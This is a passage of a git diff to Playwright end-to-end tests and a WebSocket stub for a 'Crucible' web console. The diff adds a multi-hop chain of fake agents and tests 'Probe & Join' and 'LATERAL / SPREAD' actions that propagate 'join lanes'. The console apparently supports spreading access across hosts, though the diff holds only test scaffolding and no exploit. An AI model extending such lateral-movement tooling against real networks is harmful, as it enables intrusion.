+ const timer = setTimeout(() => reject(new Error(`discover stub auth timeout (${hop.id})`)), 30_000); const onMessage = (ev: MessageEvent) => { let msg: HubMessage; try { @@ -102,7 +166,7 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string): ws.removeEventListener('message', onMessage); const body = parsePayload(msg.payload); if (body.success !== true) { - reject(new Error(`discover stub auth rejected: ${JSON.stringify(body)}`)); + reject(new Error(`discover stub auth rejected (${hop.id}): ${JSON.stringify(body)}`)); return; } resolve(); @@ -110,8 +174,9 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string): ws.addEventListener('message', onMessage); }); - sendStubStats(ws); - const statsTimer = setInterval(() => sendStubStats(ws), STATS_INTERVAL_MS); + sendStubStats(ws, hop); + const statsTimer = setInterval(() => sendStubStats(ws, hop, hop.joinLane), STATS_INTERVAL_MS); + hopConnections.set(hop.id, { hop, ws, statsTimer }); ws.addEventListener('message', (ev) => { let msg: HubMessage; @@ -126,38 +191,53 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string): const command = String(payload.command ?? '').trim().toLowerCase(); if (action === 'discover_and_join' || command === 'discover_and_join') { + if (hop.hopIndex === 0) { + const chain = E2E_DISCOVER_CHAIN_HOPS.map((h) => h.hostname).join(' → '); + send(ws, 'command_result', { + action: 'discover_and_join', + success: true, + message: `discover_and_join ok — multi-hop chain ${chain}`, + }); + sendStubStats(ws, hop, hop.joinLane); + propagateChainJoinLanes(hop.hopIndex); + return; + } send(ws, 'command_result', { action: 'discover_and_join', success: true, - message: `discover_and_join ok — join_lane=${E2E_DISCOVER_JOIN_LANE}`, + message: `discover_and_join ok — join_lane=${hop.joinLane}`, }); - sendStubStats(ws, E2E_DISCOVER_JOIN_LANE); + sendStubStats(ws, hop, hop.joinLane); return; } - send(ws, 'command_result', { action, success: true, message: 'e2e-discover-stub-ok' }); + send(ws, 'command_result', { action, success: true, message: `e2e-discover-stub-ok (${hop.id})` }); }); return () => { + hopConnections.delete(hop.id); clearInterval(statsTimer); ws.close(); }; } let serverReady = false; -let disconnectStub: (() => void) | null = null; +const disconnectStubs: Array<() => void> = []; let connectPromise: Promise | null = null; export async function ensureDiscoverSpreadStub(request: APIRequestContext): Promise { - if (disconnectStub) return serverReady; + if (disconnectStubs.length > 0) return serverReady; if (!connectPromise) { connectPromise = (async () => { serverReady = await waitForServerHealth(request); if (!serverReady) return false; const fleetSecret = await fetchFleetSecret(request); - disconnectStub = await connectDiscoverSpreadStub(baseURL, fleetSecret); - await new Promise((r) => setTimeout(r, 2_500)); + for (const hop of E2E_DISCOVER_CHAIN_HOPS) { + const disconnect = await connectDiscoverSpreadHop(baseURL, fleetSecret, hop); + disconnectStubs.push(disconnect); + } + await new Promise((r) => setTimeout(r, 3_000)); return true; })(); } @@ -169,8 +249,10 @@ export function isDiscoverSpreadStubReady(): boolean { } export function teardownDiscoverSpreadStub(): void { - disconnectStub?.(); - disconnectStub = null; + while (disconnectStubs.length > 0) { + disconnectStubs.pop()?.(); + } + hopConnections.clear(); connectPromise = null; serverReady = false; } diff --git a/server/web/e2e/discover-spread.spec.ts b/server/web/e2e/discover-spread.spec.ts index 448a350..bd81aa8 100644 --- a/server/web/e2e/discover-spread.spec.ts +++ b/server/web/e2e/discover-spread.spec.ts @@ -5,6 +5,7 @@ import { ensureDiscoverSpreadStub, E2E_DISCOVER_AGENT_HOSTNAME, E2E_DISCOVER_AGENT_ID, + E2E_DISCOVER_CHAIN_HOPS, E2E_DISCOVER_JOIN_LABEL, isDiscoverSpreadStubReady, } from './discover-spread-stub'; @@ -93,5 +94,41 @@ test.describe('Crucible discover and spread E2E', () => { timeout: 15_000, }); }); + + test('multi-hop chain propagates join lanes across egress seed and leaf', async ({ page }) => { + const [egress, seed, leaf] = E2E_DISCOVER_CHAIN_HOPS; + await openCrucibleSpreadTab(page, egress.hostname); + + const commandRequest = page.waitForRequest( + (req) => + req.method() === 'POST' && + req.url().includes(`/api/v1/agents/${egress.id}/command`) && + req.postDataJSON()?.action === 'discover_and_join', + ); + + await page.getByRole('button', { name: 'Probe & Join' }).click(); + await commandRequest; + + await expect(page.locator('.crucible-terminal')).toContainText('multi-hop chain', { + timeout: 10_000, + }); + await expect(page.locator('.access-depth-panel')).toContainText(egress.joinLabel, { + timeout: 15_000, + }); + + for (const hop of [seed, leaf]) { + const card = page.locator('.crucible-node-card').filter({ hasText: hop.hostname }); + await expect(card).toBeVisible({ timeout: 15_000 }); + await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 }); + await card.click(); + await expect( + page.locator('.crucible-actions-card').getByText(new RegExp(`→ ${hop.hostname}`)), + ).toBeVisible({ timeout: 10_000 }); + await page.getByRole('button', { name: 'LATERAL / SPREAD' }).click(); + await expect(page.locator('.access-depth-panel')).toContainText(hop.joinLabel, { + timeout: 20_000, + }); + } + }); }); });